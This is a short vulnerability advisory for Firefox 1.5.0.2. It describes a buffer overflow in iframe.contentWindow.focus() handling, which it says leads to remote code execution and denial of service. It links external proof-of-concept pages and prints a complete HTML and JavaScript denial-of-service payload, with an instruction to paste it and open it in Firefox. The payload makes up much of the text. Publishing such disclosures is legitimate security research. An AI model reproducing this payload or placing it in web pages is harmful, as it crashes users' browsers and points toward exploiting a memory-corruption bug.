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Software:  
 Firefox Web Browser
Tested: 
 Linux, Windows clients' version 1.5.0.2
Result:  
 Firefox Remote Code Execution and Denial of Service - Vendor contacted, no patch yet.
Problem:
 A handling issue exists in how Firefox handles certain Javascript in js320.dll and xpcom_core.dll
regarding iframe.contentWindow.focus().  By manipulating this feature a buffer overflow will occur.  
Proof of Concept:
 http://www.securident.com/vuln/ff.txt
Credits:
 splices(splices [dot] org)
 spiffomatic64(spiffomatic64 [dot] com)
 Securident Technologies (securident [dot] com)      
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http://www.securident.com/vuln/ffdos.htm - PoC firefox dos
 

 Paste the below code snippet and view it in Firefox for DoS PoC or visit the link above.

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea> 
  <script> 
       var textarea = document.getElementsByName("x_OtherInfo"); 
       textarea=textarea.item(0); 
           var htmlarea = document.createElement("div"); 
       htmlarea.className = "htmlarea";  
       textarea.parentNode.insertBefore(htmlarea, textarea); 
       var iframe = document.createElement("iframe"); 
       htmlarea.appendChild(iframe);
            var doc = iframe.contentWindow.document; 
                 doc.designMode = "on"; 
                 doc.open(); 
                 doc.write("<iframe src=''>");
          iframe.contentWindow.focus() 
  doc.close(); 
  </script>
</textarea>

-DISCLAIMER-
splices,spiffomatic64, and securident are not responsible for any of the information contained therein, 
this is all just for informational purposes only.